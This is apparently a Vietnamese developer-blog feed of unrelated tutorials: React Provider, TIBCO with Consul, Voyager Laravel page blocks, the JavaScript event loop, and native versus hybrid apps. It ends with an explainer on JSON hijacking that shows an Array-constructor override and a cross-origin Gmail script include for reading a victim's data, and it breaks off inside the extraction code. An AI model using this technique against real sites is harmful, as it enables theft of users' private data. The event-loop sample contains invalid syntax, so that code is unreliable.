Như bạn có thể thấy, thành phần chính nó là nhiều neater. Chúng tôi giải nén các thuộc tính chúng tôi cần từ các theme props và đưa chúng vào component của chúng tôi giống như chúng là các thuộc tính thông thường.

Như bạn có thể thấy, hai mô hình này có lợi thế nhưng tôi sẽ không đi lung tung. Nhiều khả năng, bạn sẽ không cần phải làm việc với nó và nhu cầu của bạn có thể được đáp ứng với các gói như Redux. Nhưng nếu bạn định làm điều đó, việc áp dụng hai mẫu chắc chắn sẽ giúp giữ cho các component của bạn đơn giản và rõ ràng hơn để đọc.

Provider

Nếu bạn đang phát triển gói này được các nhóm khác sử dụng và có khả năng tạo nhiều dự án, tôi cũng sẽ tạo một Provider component riêng biệt liên quan đến Context Provider thực tế, theme này sẽ một là tính năng.

import React from "react";
import ThemeContext from "./ThemeContext";
export default class Provider extends React.Component {
  render() {
    return (
      <ThemeContext.Provider value={this.props.theme}>
        {this.props.children}
      </ThemeContext.Provider>
    );
  }
}

Và trong file App.js, chúng tôi có thể ẩn việc thực hiện căn bản với việc sử dụng Provider này.

import React from 'react';
import Provider from './Provider';
const App = () => {
  let theme = {...};
  return (
    <Provider theme={theme}>
      <Welcome />
    </Provider>
  )
}
ReactDOM.render(<App />, document.getElementById("root"));

Tham khảo các vị trí tuyển dụng React hấp dẫn tại đây

Bài viết gốc được đăng tải tại Medium

Cloud-Native Microservices Với TIBCO: Khám phá dịch vụ bằng cách sử dụng Consul

Tác giả: Santosh Bhutkar

Một ứng dụng dựa trên microservices thường chạy trong một môi trường ảo hóa hoặc môi trường container trong đó số lượng các cá thể và các điểm cuối thay đổi động. Do đó, phải có một cơ chế để cho phép người dùng của các dịch vụ nhỏ này thực hiện các yêu cầu đối với một nhóm các dịch vụ thay đổi động.

Điều này gây ra một trong những vấn đề lớn nhất trong thế giới microservices: khách hàng của một dịch vụ như thế nào – cổng API hoặc một dịch vụ khác – khám phá vị trí của một trường hợp dịch vụ? Giải pháp cho vấn đề này là sử dụng một dịch vụ đăng ký, mà sẽ duy trì các thông tin điểm cuối của các dịch vụ thay đổi động và khám phá các thiết bị đầu cuối thông qua service registry này.

TIBCO cho phép các nhà phát triển xây dựng các ứng dụng dựa trên đám mây và hỗ trợ nhiều công cụ nguồn mở trong hệ sinh thái microservices. Consul là một trong những công cụ trong hệ sinh thái đó để đăng ký và khám phá dịch vụ. Cơ chế đăng ký và khám phá dịch vụ cho phép các dịch vụ thông báo tính khả dụng của chúng và cho phép khách hàng tự động tìm kiếm các dịch vụ này.

Trong hướng dẫn này, chúng ta sẽ học về cloud-native microservices với TIBCO bằng cách sử dụng service registry và discovery tool, Consul.

Hãy lấy một ví dụ về dịch vụ báo giá. Đây là sơ đồ dòng của dịch vụ báo giá:

Dịch vụ báo giá sẽ thực hiện cuộc gọi đến các dịch vụ nhỏ khác nhau để cung cấp báo giá cho khách hàng. Bốn microservices này – Sản phẩm, Giá, Hàng tồn kho và Giảm giá – có thể chạy trên các máy chủ khác nhau. Dịch vụ báo giá cần phải biết điểm cuối của từng dịch vụ này.

Dịch vụ đăng ký đóng một vai trò quan trọng trong kịch bản này. Mỗi dịch vụ tự đăng ký dịch vụ khi khởi động. Một khách hàng của dịch vụ truy vấn đăng ký dịch vụ để tìm ra các phiên bản dịch vụ có sẵn. Dịch vụ báo giá sẽ trông như sau trong môi trường TIBCO design-time.

Khám phá dch v bng cách s dng Consul

Mỗi dịch vụ cần phải tự đăng ký với service registry – trong trường hợp này là Consul. Đây là cấu hình design-time cho từng dịch vụ nhỏ:

  • Tài nguyên nguồn kết nối HTTP được sử dụng để lộ ra một REST service.
  • Đặt tên cho dịch vụ trong trường “Service Name”.

Nhà phát triển chỉ cần thực hiện các cấu hình được đề cập ở trên để kết nối HTTP để sử dụng cơ chế Service registry.

Để dịch vụ Trích dẫn hoạt động, nó cần gọi mọi dịch vụ được triển khai. Để thực hiện các cuộc gọi thành công, nó cần phải khám phá các điểm cuối dịch vụ trong thời gian chạy. HTTP client là tài nguyên được sử dụng để cấu hình bất kỳ cuộc gọi dịch vụ bên ngoài. Người dùng có thể cấu hình chi tiết điểm cuối của dịch vụ được gọi

Theo cấu hình design time được yêu cầu trong HTTP client cho cơ chế khám phá dịch vụ.

  • Kiểm tra hộp kiểm “Enable Service Discovery”.
  • Đặt tên cho dịch vụ trong trường “Service Name”.

Sau khi phát triển xong dịch vụ, lưu trữ triển khai xuất khẩu (tệp EAR) của Service. Cùng một EAR có thể được triển khai cho Docker hoặc Cloud Foundry tùy thuộc vào lựa chọn của bạn.

Sau đây là cấu hình thời gian chạy để triển khai Docker:

  • Ứng dụng hình ảnh docker có thể được xây dựng bằng cách sử dụng EAR và phiên bản BusinessWorks Container hình ảnh docker được cung cấp bởi TIBCO.
  • Khi hình ảnh ứng dụng đã sẵn sàng, hãy chạy vùng chứa docker bằng cách cung cấp URL máy chủ Consul và thuộc tính tên dịch vụ.
  • Cung cấp CONSUL_SERVER_URL dưới dạng biến môi trường.

Ví dụ: Lệnh sau sẽ đăng ký dịch vụ Giá với tên “getprice” đến máy chủ Consul được cung cấp:

docker run -d -e CONSUL_SERVER_URL=http://54.202.212.223:8500 -p
18082:8085 -e PriceService=getprice tibco/bwce:price

Tương tự, khởi động các thùng chứa Docker của mọi dịch vụ. Khi tất cả các dịch vụ được thiết lập và hoạt động, trạng thái của các dịch vụ có thể được nhìn thấy trên giao diện người dùng Consul.

Bây giờ, để kiểm tra phát hiện dịch vụ, hãy tạo và triển khai hình ảnh docker của dịch vụ trích dẫn. Trong lệnh này, máy chủ Consul, nơi tất cả các dịch vụ và đăng ký được cung cấp cùng với tên dịch vụ sẽ được phát hiện.

docker run -d -e CONSUL_SERVER_URL=http://54.202.212.223:8500 -e discountService=getDiscount -e inventoryService=getInventory - e priceService=getprice 
-e productService=getproduct -e getQuote=getquote -e BW_PROFILE=Docker -p 18084:8085 -p 8092:8090 tibco/bwce:quote

Khi dịch vụ được thiết lập và đang chạy, hãy kiểm tra dịch vụ bằng giao diện người dùng Swagger.

Bài viết gốc được đăng tải tại Medium

Page Block trong Voyager Laravel

Biên dịch: Đinh Quốc Hội

Chào Mừng Bạn Đến Với Voyager

Tài liệu Voyager phiên bản 1.1 (Vẫn đang trong quá trình phát triển)

Chào mừng bạn đến với Voyager  1.1. Đây là các tài liệu dạy bạn cách cài đặt, cấu hình, và sử dụng Voyager  để có thể tạo ra 1 số công cụ cần thiết. 

Trước khi cài đặt Voyager

Trước khi cài đặt Voyager, bạn có thể muốn dành một chút thời gian để tìm hiểu xem nó là gì và nó không phải là gì, chúng tôi sẽ làm điều đó trong phần tiếp theo. Nhấp vào ‘Voyager’ bên dưới để tiếp tục.

Voyager là gì

Trước khi cài đặt Voyager, điều quan trọng là phải dành một chút thòi gian để tìm hiểu xem nó là gì và không những điều không phải về Voyager.

Thế Voyager Là Gì?

  • Nó là 1 giao diện quản trị cho ứng dụng laravel của bạn
  • Nó có thể dễ dàng thao tác thêm,xóa, sửa các dữ liệu cho dứng dụng laravel của bạn
  • Một trình tạo menu (Xây dựng các menu cho ứng dụng của bạn)
  • Là một trình quản lý phuong tiện cho tiệp của bạn
  • CRUD/BREAD generator ( Tìm hiểu thêm về BREAD tại đây )
  • Voyager đơn giản là 1 trang quản trị cho ứng dụng. Bạn muốn thực hiện bất cứ điều gì trên giao diện người d ùng là hoàn toàn tùy thuộc vào bạn . Bạn có thể kiểm soát ứng dụng của mình và bạn có thể sử dụng Voyager để làm cho công việc của bạn dễ dàng hơn bằng cách thêm dữ liệu, chỉnh sửa người dùng, tạo menu và nhiều tác vụ quản trị khác.
  • Không phải về Voyager
    • Một hệ thống quản lý nội dung (CMS)
    • Một nền tảng blog
    • WordPress (Bleh! 😜)
  • Voyager không phải là CMS  và nền tảng blog. Nhưng nó có thể được sử dụng để tạo ra một CMS hoặc một nền tảng blog, Như đã nêu trong phần trước, bạn có toàn quyền kiểm soát những gì ứng dụng của bạn sẽ làm và cách nó hoat động
  • Với Laravel & Voyager bạn có thể tạo ra bất kỳ loại ứng dụng nào bạn bạn mong muốn, Laravel & Voyager chỉ đơn giản là công cụ để giúp bạn xây dựng dễ dàng hơn.

Đây là mô-đun được thiết kế để cung cấp cho các nhà phát triển khả năng dễ dàng thiết kế các khối trang, Người dùng quản trị để xây dựng trang frontend tuyệt đẹp.

1. Điều Kiện

2. Cài Đặt

# 1.cd  đến project laravel,mở terminal và gõ các lệnh sau
composer require pvtl/voyager-page-blocks

# 2. Cài đặt voyager-pages
php artisan  voyager-pages:install

# 3. Cài đặt voyager-page-blocks
php artisan voyager-page-blocks:install

#4 .Cấp quyền cho project để tránh lỗi Permission denied!

Giao diện sau khi cài đặt xong, nhưng khi chúng ta edit thì sẽ bị lỗi thiếu Feild meta_keywords

Vào database thêm vào 1 field:meta_keywords

Lưu lại và có thể edit page and block content

Thêm các Layout và block

Thư mục Layout

/var/www/html/voyager/vendor/pvtl/voyager-frontend/resources/views/layouts

Các block có sẵn

Các block

/var/www/html/voyager/vendor/pvtl/voyager-page-blocks/resources/views/block

3. Demo xây dựng hiển thị các block ra trang chủ

VD: Trang Home đang trống

Tạo và sửa đổi block

Các khối trang được tạo và định cấu hình bằng cách: Xác định khối – trong /config/page-blocks.php

Tham khảo thêm tại :https://github.com/pvtl/voyager-page-blocks

Xây dựng bố cục HTML của khối – tạo file create_html.blade.php

/var/www/html/voyager/vendor/pvtl/voyager-page-blocks/resources/views/block

Sau đó vào trang quản trị chọn Page

Đây là block html vừa thêm vào

Ví dụ: Nhúng game Flappy bird vào web

Nhúng code vào

Giao diện sau khi nhúng

Developer Controller Blocks

 Xây dựng blocks này dành cho nhà phát triển, bạn cũng có thể tùy biến giao diện dựa trên các controller viết sẵn hoặc tự viết 1 controller mới vd: hiển thị blocks hiển thị các bài post ra trang chủ

Hiển thị các bài viết từ 1 controller có sẵn

Pvtl\VoyagerFrontend\Http\Controllers\PostController::recentBlogPosts(2)
#recentBlogPosts(2) : Hiển thị ra 2 bài post

#1 :Blocks này có hiệu lực bạn cần chạy lệnh cài blog tại project
php artisan  voyager-blog:install

2 blog post vừa tạo

Và F5 lại trang chủ

Homepage

Và đây, là bức tranh tổng quát nhưng dẽ nắm bắt nhất cho bạn để hiểu được cách sử dụng Voyager Page Blocks!

Tham khảo thêm các việc làm Laravel hấp dẫn nhất tại đây

TopDev via GitHub

Hiểu về JavaScript bất đồng bộ – Event Loop

Hiểu về JavaScript bất đồng bộ - Event Loop

Tác giả: Giang Coffee 

Event Loop là gì và hoạt động thế nào?

Trước đây thi thoảng có làm Javascript và cũng có nghe nói qua về một số khái niệm cơ bản và hay ho của Javascript như nhân V8 của Google (quá oách), Event-Driven, Non-blocking I/O, Event Loop… những khái niệm giúp JS tận dụng sức mạnh của phần cứng và hàng chục lợi ích khác. Dạo gần đây có làm nhiều về JS, gặp nhiều lỗi quái đản mình mới tự đặt ra câu hỏi là rốt cục tất cả những thứ trên là cái gì?, hoạt động thế nào? và tại sao nó mang lại lợi ích?

Hôm nay qua một số google search và đặc biệt xem được bài thuyết trình này mình thấy Event Loop chính là thứ nguồn gốc, hay ho nhất và muốn chia sẻ, thảo luận cùng mọi người. Đấy là những gì mình hiểu ra chứ chưa chắc đã là chuẩn xác. Anh em có gì góp ý mình cực kỳ hoan nghênh và tiếp thu.

Tất cả các ngôn ngữ lập trình đều được sinh ra để làm thứ ngôn ngữ giao tiếp giữa người và máy. Dù là ngôn ngữ gì đi chăng nữa thì cuối cùng vẫn phải dịch ra mã máy, được load lên memory, chạy từng dòng lệnh, ghi các dữ liệu tạm thời ra bộ nhớ, ổ đĩa rồi giao tiếp các thiết bị ngoại vi… Thế nên để cho tiện mình xin nhắc lại một số khái niệm cơ bản sau.

1. Một số khái niệm cơ bản

1.1 Stack

Stack là một vùng nhớ đặc biệt trên con chip máy tính phục vụ cho quá trình thực thi các dòng lệnh mà cụ thể là các hàm. Hàm chẳng qua là một nhóm các lệnh và chương trình thì gồm một nhóm các hàm phối hợp với nhau. Mỗi khi một hàm được triệu gọi thì nó sẽ được đẩy vào một hàng đợi đặc biệt có tên là stack. Stack là một hàng đợi kiểu LIFO (Last In First Out) nghĩa là vào đầu tiên thì ra sau cùng. Một hàm chỉ được lấy ra khỏi stack khi nó hoàn thành và return.

Hiểu về JavaScript bất đồng bộ - Event Loop

Nếu trong một hàm (Foo) có triệu gọi một hàm khác (Bar) thì trạng thái hiện tại của hàm Foo được cất giữ trong stack và hàm Bar sẽ được chèn vào stack. Vì đây là hàng đợi LIFO nên Bar sẽ được xử lý trước Foo. Khi Bar xong và return thì mới đến lượt Foo được xử lý. Khi Foo được xử lý xong và return thì Stack rỗng và sẽ đợi các hàm tiếp theo được đẩy vào.

        Stack    
 -------------------- 
|                    |
 -------------------- 
|      Bar           | <--
 -------------------- 
|      Foo           |
 --------------------

1.2. Heap

Heap là vùng nhớ được dùng để chưa kết quả tạm phục vụ cho việc thực thi các hàm trong stack. Heap càng lớn thì khả năng tính toán càng cao. Heap có thể được cấp phát tĩnh hoặc cấp phát động bằng mấy lệnh kiểu alloc với malloc (đấy là những gì còn nhớ về C++).

2. Event Loop là gì

Event Loop là cơ chế giúp Javascript có thể thực hiện nhiều thao tác cùng một lúc (concurrent model), trước giờ vẫn nghe nói NodeJs có thể xử lý cả hàng ngàn request cùng một lúc mặc dù nó chỉ dùng một thread duy nhất (Single Threaded). Nếu như ở PHP hay Java thì với mỗi một request sẽ sinh ra một thread để xử lý request đó, các thread hoạt động độc lập, được cấp bộ nhớ, giao tiếp ngoại vi và trả về kết quả. Vậy làm thế nào để NodeJs có thể xử lý cả ngàn request một lúc với chỉ một thread duy nhất?.

Có một sự thật là trên web browser thì trong khi get data từ các url thì người dùng vẫn có thể thực hiện các thao tác khác như click button và gõ vào các ô textbox. Tất cả là nhờ có các web apis và cơ chế hoạt động của Event Loop. Tuy Js Runtime chỉ có một thread duy nhất nhưng các web apis giúp nó giao tiếp với thế giới multi thread bên ngoài, tận dụng các con chip đa nhân vốn rất phổ biến hiện nay. Web apis giúp đẩy các job ra bên ngoài và chỉ tạo ra các sự kiện kèm theo các handler gắn với các sự kiện. Kể cả đối với NodeJs khi không có web apis thì nó vẫn có các cơ chế tương đương khác giúp đẩy job ra bên ngoài và chỉ quản lý các đầu việc. Web Apis hoạt động như vậy thì Event Loop sẽ thế nào ?

3. Event Loop hoạt động như thế nào ?

Event Loop có tên như vậy bởi vì có một vòng lặp vô tận trong Javascript Runtime (V8 trong Google Chrome) dùng để lắng nghe các Event.

while (queue.waitForMessage()) {
  queue.processNextMessage();
}

 

Hiểu về JavaScript bất đồng bộ - Event Loop

Nhiệm vụ của Event Loop rất đơn giản đó là đọc Stack và Event Queue. Nếu nhận thấy Stack rỗng nó sẽ nhặt Event đầu tiên trong Event Queue và handler (callback hoặc listener) gắn với Event đó và đẩy vào Stack. Đặc điểm của việc thực thi hàm trong JS là sẽ chỉ dừng lại khi hàm return hoặc throw exception. Có nghĩa là trong khi hàm đang chạy thì sẽ không có một hàm khác được chạy, dữ liệu tạm của hàm cũng sẽ không bị thay đổi bởi một hàm khác hay cũng không bị dừng lại cho đến khi hoàn thành (ngoại trừ yield trong ES6).

Như các bạn thấy trên hình thì JS Runtime còn thao tác với một callback queue hay event queue ngoài stack ra. Event queue này khác với stack ở chỗ nó là queue kiểu FIFO (First In First Out). Mỗi khi có một Event được tạo ra, ví dụ user click vào một Button thì một Event sẽ được đẩy vào Event queue cùng với một handler (event listener) gắn với nó. Nếu một Event không có listener thì nó sẽ bị mất và không được đẩy vào Event queue. Để cho dễ hình dung cách thức hoạt động của Event Loop ta lấy một ví dụ như sau :

const fs = require('fs');

function someAsyncOperation(callback) {
  // giả sử đọc file hết 95ms
  fs.readFile('/path/to/file', callback);
}

const timeoutScheduled = Date.now();

setTimeout(function logInfo() => {
  const delay = Date.now() - timeoutScheduled;
  console.log(`${delay}ms have passed since I was scheduled`);
}, 100);


// đọc file xong sẽ tiếp tục chờ thêm 10ms
someAsyncOperation(function readFileAsync() => {
  const startCallback = Date.now();

  // chờ 10ms
  while (Date.now() - startCallback < 10) {
    // do nothing
  }
});

 

đầu tiên phần khai báo biến và hàm sẽ được chạy nhưng không được đẩy vào stack. Tiếp setTimeout() sẽ được đẩy vào stack và thực hiện. Hàm này không có trong Javascript Runtime mà là hàm tiện ích của Browser, nó sẽ khởi tạo một bộ đếm và sau đúng 100ms thì nó sẽ đẩy tham số đầu tiên logInfo (là một callback hoặc có thể gọi là một event listener cũng được) vào Event Queue. Kế đến sẽ chạy hàm someAsyncOperation và đẩy vào stack, vì hàm này async và có callback readFileAsync nên readFileAsync được đẩy luôn vào Event Queue mà không phải chờ như setTimeout để hứng sự kiện đọc xong file (sau 95ms).

         Stack                        Event Queue
 --------------------              -------------------
|                    |            | readFileAsync     |  <--
 --------------------              -------------------
|                    |            |                   |
 --------------------              -------------------
| someAsyncOperation | <--        |                   |
 --------------------              -------------------

 

Để ý là Stack LIFO nên someAsyncOperation sẽ nằm dưới cùng còn Event Queue FIFO nên readFileAsync sẽ nằm trên cùng. Sau khi readFileAsyncđược đẩy vào Event Queue thì someAsyncOperation return và được lấy ra khỏi Stack. Lúc này Stack không có gì nên Event Queue sẽ được đọc, nên nhớ là Event Queue chỉ được đọc khi Stack trống rỗng. readFileAsync sẽ được đẩy vào Event Queue trước vì nó chỉ mất có 95ms trong khi logInfo thì phải chờ 100ms. readFileAsync này sẽ được lấy khỏi Event Queue và đẩy vào stack để chạy.

       Stack                           Event Queue
 --------------------              -------------------
|                    |     ------ | readFileAsync     | 
 --------------------     |         -------------------
|                    |    |       | logInfo           | <--
 --------------------     |        -------------------
| readFileAsync      | <--        |                   |
 --------------------              -------------------

 

readFileAsync sẽ gặp vòng while và dừng ở đó 10ms. Vậy tổng cộng hàm đọc file sẽ mất 105ms để hoàn thành. Nhưng ở giây thứ 100 thì logInfođược đẩy vào Event Queue (lúc này đã rỗng) trong khi readFileAsync thì còn phải mất thêm 5ms nữa mới hoàn thành. Vì cơ chế của Javascript là chạy đến khi hoàn thành mới thôi nên logInfo không có cách nào để dừng readFileAsync lại để chiếm quyền điều khiển, trừ khi trong readFileAsynccó lệnh yield. Sau 105ms thì readFileAsync return và được lấy ra khỏi Stack.

       Stack                           Event Queue
 --------------------              -------------------
|                    |     ------ | logInfo           | 
 --------------------     |        -------------------
|                    |    |       |                   |
 --------------------     |        -------------------
| logInfo            | <--        |                   |
 --------------------              -------------------

 

Một lần nữa Stack lại trống và logInfo được đẩy vào Stack. Như vậy logInfo sẽ phải đợi tổng cộng 105ms để được chạy, chứ không phải 100ms như dự tính. Do đó tham số thứ 2 của setTimeout là thời gian tối thiểu để một Event được đẩy vào Stack và chạy chứ không phải là thời gian chính xác nó sẽ được chạy.

Giả sử bạn có một đoạn code jQuery như sau :

$('#button_1').click(function yield() {
  console.log('Ouch!');
});

 

thì một hoặc vài event sẽ được đẩy vào Event Queue như sau:

Stack                        Event Queue
 --------------------              -------------------
|                    |            | yield(Event)      |  <--
 --------------------              -------------------
|        Bar         |            |                   |
 --------------------              -------------------
|        Foo         | <--        |                   |
 --------------------              -------------------

 

đặt tên hàm là yield chỉ nhằm mục đích dễ theo dõi, ta hoàn toàn có thể bỏ tên hàm đi trong trường hợp này. Khi Bar và Foo return và được lấy ra khỏi Stack thì yield sẽ được đẩy vào Stack với tham số là DOM Element xảy ra sự kiện click.

Cơ chế run to completion của Javascript có một điểm bất lợi đó là nếu một hàm chạy quá lâu hoặc bị vòng lặp vô tận thì sẽ không có hàm nào được chạy nữa, kết quả là Browser sẽ bị đơ, không phản ứng với các sự kiện như click chuột … Ví dụ :

function foo() {
   console.log('i am foo!');
   foo();
}

foo();

hàm đệ quy không điểm dừng sẽ liên tục đẩy foo vào Stack cho đến khi đầy, và bạn đoán xem lúc này chúng ta sẽ có cái mà hàng ngày các develop đều tìm kiếm Stack Overflow

      Stack                           Event Queue
 --------------------              -------------------
| foo                |            | Event 1           | 
 --------------------              -------------------
| foo                |            | Event 2           |
 --------------------              -------------------
| foo                |            | Event 3           |
 --------------------              -------------------

Để tránh tình trạng Browser bị treo vì lỗi lập trình thì các Browser sẽ throw exception trong trường hợp này :

MAXIMUM CALL STACK SIZE EXCEEDED.

Hầu hết các thao tác trong Javascript đều là bất đồng bộ nhưng có một số ngoại lệ thú vị như hàm alert (hàm này là của Browser API, không có trong NodeJs). Khi hàm này được chạy thì bạn không thể thực hiện một thao tác nào khác ngoài click OK.

Đến đây ta có thể thấy cơ chế quản lý theo đầu việc là bí kíp giúp JS Runtime có thể xử lý hàng ngàn tác vụ cùng một lúc. Giống như bạn được giao một đống việc, bạn chia nhỏ từng việc và giao cho đám đệ tử của mình.

Bài viết gốc được đăng tải tại Giang Coffee

Tuyển lập trình viên Javascript lương cao tại đây

So sánh giữa Native App Development và Hybrid App Development

Tác giả: Surender Vikram Singh

Sự phát triển mạnh mẽ của thị trường điện thoại thông minh trong những năm gần đây đã dẫn đến tỷ trọng truy cập trang web trên điện thoại di động lên đến 52,2% trong năm 2018.

Tính sẵn có của điện thoại thông minh hiệu quả về chi phí dẫn theo sự gia tăng sự lệ thuộc của chúng tôi vào điện thoại thông minh, khiến các nhà phát triển khó lựa chọn giữa Native Mobile App Development hay Hybrid App Development.

. . .

Tầm quan trọng của UI / UX trong phát triển ứng dụng trên thiết bị di động

Trước khi chúng tôi xem xét nền tảng phát triển ứng dụng Native & Hybrid, có một khía cạnh quan trọng nhất của việc phát triển ứng dụng này là chính là khách hàng của bạn cần phải được xem xét.

Khách hàng của bạn ít quan tâm đến công nghệ cũng như nền tảng cung cấp cho ứng dụng mà họ đang sử dụng.

Hầu hết người dùng lo ngại về những gì họ có thể làm với ứng dụng thay vì những thứ tạo ra chúng. Vì vậy, trải nghiệm người dùng và giao diện người dùng (User Experience and User Interface) là khía cạnh quan trọng nhất của bất kỳ ứng dụng di động nào.

79% người dùng thử một đến hai lần cho bất kỳ ứng dụng nào nếu nó không hoạt động trong lần thử đầu tiên , trong khi chỉ 16% người dùng sẽ cố gắng thử nhiều hơn hai lần.

Trải nghiệm người dùng kém ngăn cản người dùng sử dụng ứng dụng.

. . .

Ứng dụng Native & Hybrid  – Khái quát nhanh

Native App Development

Ứng dụng di động gốc là ứng dụng được tạo ra chỉ để sử dụng trong một nền tảng hoặc thiết bị cụ thể, như Android, iOS, BlackBerry hoặc Windows.

Ứng dụng gốc được tạo và code đặc thù cho một nền tảng cụ thể bằng ngôn ngữ lập trình gốc của nó –

  • iOS (Objective-C or Swift)
  • Android (Java, Kotlin)
  • Windows Phone (C#)

Có các nguyên tắc khác nhau cho mỗi nền tảng và lập trình viên cần phải nắm bắt chúng vì chúng khác nhau về kiểu chữ, kiểu đồ họa, hoạt cảnh, hiệu ứng hình ảnh, đầu vào dữ liệu, v.v.

Hybrid App Development

Một ứng dụng hybrid được tạo dưới dạng một ứng dụng duy nhất để sử dụng trên nhiều nền tảng như Android, iPhone và Windows.

Ứng dụng hybrid thực tế là ứng dụng native và ứng dụng web được kết hợp với nhau.

Nó là một sản phẩm hoạt động trên nhiều hệ điều hành như iOS, Android, Windows,…

Chúng trông giống như một ứng dụng native nhưng thực sự được chạy trên website của công ty.Chúng được tạo ra bằng HTML5, CSS và JavaScript, về cơ bản là một chương trình dựa trên web đặt trong một vỏ ứng dụng native và được kết nối với phần cứng thiết bị.

. . .

Ưu điểm của Native App Development

Performance nhanh

Trong phát triển ứng dụng native mobile, chúng tôi phải code cho từng nền tảng khác nhau bằng các ngôn ngữ lập trình khác nhau cho mỗi hệ điều hành.

Vì vậy, chúng tôi có các version khác nhau của một ứng dụng được tạo riêng cho mỗi nền tảng, cụ thể cho hệ điều hành đó và nó chạy trơn tru trên đó.

Tốc độ

Xem xét ứng dụng đã được tối ưu hóa cho hệ điều hành iOS hoặc Android sẽ đạt được điểm số cao hơn trong các bài kiểm tra tốc độ và hiệu suất.

Trong khi phát triển các ứng dụng native, mọi thứ được đã bao gồm việc sử dụng bộ nhớ và pin của thiết bị.

Đơn giản trong phát triển ứng dụng native để thực hiện việc hỗ trợ cho ứng dụng và tích hợp các chức năng mới.

Trải nghiệm người dùng

Điều vô cùng quan trọng đối với các ứng dụng mobile là tạo ấn tượng tốt để không bị xóa ngay sau khi cài đặt chúng.

Trong các ứng dụng native, cảm nhận và trải nghiệm tốt hơn nhiều khi scroll tốt, nhận diện hành động cụ thể, hiệu ứng và hoạt ảnh có chiều sâu và nhiều yếu tố hấp dẫn hơn như vậy.

An toàn & Bảo mật dữ liệu

Để bảo vệ dữ liệu của bạn, yêu cầu đầy đủ về hiệu quả phần cứng và điều này chỉ có thể có trong native app development.

Tính linh hoạt

Ứng dụng native cung cấp khả năng truy cập nhanh các tiện ích thiết bị sẵn có như máy ảnh, GPS, lịch, micrô và các chức năng khác của điện thoại thông minh.

Tuy nhiên, phát triển ứng dụng hybrid có những hạn chế nhất định trong khi cấu trúc interface vì nó ra tạo một ứng dụng duy nhất để sử dụng trên nhiều nền tảng.

Trong các ứng dụng native, không có bất kỳ hạn chế nào, mọi thứ đều có thể được thực hiện do công nghệ đã được cấp.

Personalization

Với rất nhiều thiết bị Android cung cấp trên thị trường với kích thước màn hình khác nhau, chỉ phát triển ứng dụng native là cách điều chỉnh layout trên từng thiết bị.

Nhược điểm của Native App Development

Thời gian phát triển

Ứng dụng native cần nhiều thời gian hơn để phát triển so với các ứng dụng hybrid.

Tạo và triển khai thiết kế cho kích thước cho mọi thiết bị như nhiều tính bất đồng bộ của Android, iPhone, máy tính bảng, … làm mất nhiều thời gian hơn để hoàn thành ứng dụng.

Chi phí phát triển

Các lập trình viên thường có chuyên về một nền tảng, có thể là iOS, Android hay bất kỳ nền tảng nào khác.

Đội ngũ lập trình viên càng nhiều thì tốn nhiều ngân sách. Ngoài ra, các thay đổi hoặc cập nhật trong tương lai sẽ hao hụt chi phí nhân lên theo số lượng thành viên.

. . .

Ưu điểm của Hybrid App Development

Giảm chi phí phát triển

Nếu bạn là ngân sách trung tâm, phát triển ứng dụng chỉ làm ra một lần cho tất cả các nền tảng (Android, iOS, Windows) và nhờ đó bạn không cần thuê các lập trình viên khác nhau.

Bảo trì

Như chúng ta đã biết các ứng dụng hybrid là các ứng dụng web được tích hợp trong một lớp gốc, vì vậy nội dung của nó có thể được cập nhật nhiều lần khi bạn muốn hay cần .Do đó, các ứng dụng này cho phép bảo trì ở mức thấp.

Tốn ít thời gian để tiếp thị

Bạn muốn ứng dụng của mình hoạt động nhanh đến mức nào? Do có sự cạnh tranh cao trên thị trường và cùng một ý tưởng được nhiều nhà doanh nghiệp quảng cáo, bạn muốn giới thiệu ứng dụng của mình đến đối tượng người dùng nhanh nhất có thể. Trường hợp này, bạn nên đi theo Hybrid App.

Nhược điểm của Hybrid App Development

Performance

Các ứng dụng Hybrid thêm một lớp bổ sung giữa mã nguồn và nền tảng di động, đặc biệt là framework di động hybrid. Điều này có thể dẫn đến kết quả mất đi hiệu suất,ngoại trừ việc nó thay đổi qua lại giữa các ứng dụng.

Theo Mark Zuckerberg (người sáng lập Facebook) – “Sai lầm lớn nhất mà chúng tôi tạo ra khi công ty đặt cược vào HTML5 lên trên native.” Facebook chuyển đổi ứng dụng di động của họ từ HTML5 sang cụ thể từng nền tảng,  cho thấy sự khác biệt quan trọng đối với các ứng dụng doanh nghiệp có quan tâm đến.

Debugging

Lớp bổ sung từ framework phát triển lai cũng làm cho debugging trở nên lớn hơn. Các lập trình viên phải dựa vào framework này để chạy tốt hơn cùng với hệ thống ,cái mà không đưa ra bất kỳ bug mới nào trong ứng dụng.

Trải nghiệm người dùng

Khi so với native app development thì rất khó để duy trì trải nghiệm người dùng giữa ứng dụng Android và iOS. Nếu bạn tập trung nhiều hơn vào iOS, trải nghiệm người dùng Android sẽ tồi tệ hơn.

. . .

Tại sao lại chọn Native App Development?

Có nhiều hướng khác nhau để bạn có thể thực hiện ứng dụng của mình. Tuy nhiên để đưa ra lựa chọn đúng đắn, cần phải hiểu sự khác biệt giữa chúng và ưu và khuyết điểm của chúng vì mỗi tùy chọn đều có điểm mạnh và điểm yếu riêng, và quyết định cuối cùng phải phụ thuộc vào nhu cầu kinh doanh của bạn.

Các cuộc thảo luận vẫn còn có liên quan bởi lẽ, đối với cả hai cách tiếp cận, có những ưu và nhược điểm riêng biệt.

Bài viết gốc được đăng tải tại Hackernoon

Tại sao API của Facebook lại bắt đầu bằng một for loop?

API-facebook-developer

Nếu bạn đã từng kiểm tra các yêu cầu của mình đối với API của công ty lớn trong trình duyệt, bạn có thể đã nhận thấy một số javascript lạ trước chính JSON:

Facebook:  Facebook

Gmail:       Facebook

Tại sao họ sẽ lãng phí vài byte để vô hiệu JSON này?

Nói về API: Làm sao để bảo vệ dữ liệu của bạn

Nếu không có những byte quan trọng, nó có thể cho bất kỳ trang web truy cập dữ liệu này.

Lỗ hổng này được gọi là JSON hijacking, và cho phép các trang web trích xuất dữ liệu JSON từ các API đó.

Nguồn gốc

Trong JavaScript 1.5 và các phiên bản trước đó, có thể ghi đè lên constructor của Primitive Object và có phiên bản ghi đè này được gọi khi sử dụng ký hiệu ngoặc.

Điều này có nghĩa là bạn có thể làm:

function Array(){
    alert('You created an array!');
}
var x = [1,2,3];

Và cảnh báo sẽ bật lên!

Thay thế var x bằng tập lệnh sau, và kẻ tấn công có thể đọc email của bạn!

<script src="https://gmail.com/messages"></script>

Trích xuất dữ liệu

Mặc dù bạn đang ghi đè hàm tạo, mảng vẫn được xây dựng và bạn vẫn có thể truy cập nó qua this.

Đây là một đoạn mã sẽ cảnh báo tất cả các mảng dữ liệu:

function Array() {
  var that = this;
  var index = 0;
  // Populating the array with setters, which dump the value when called
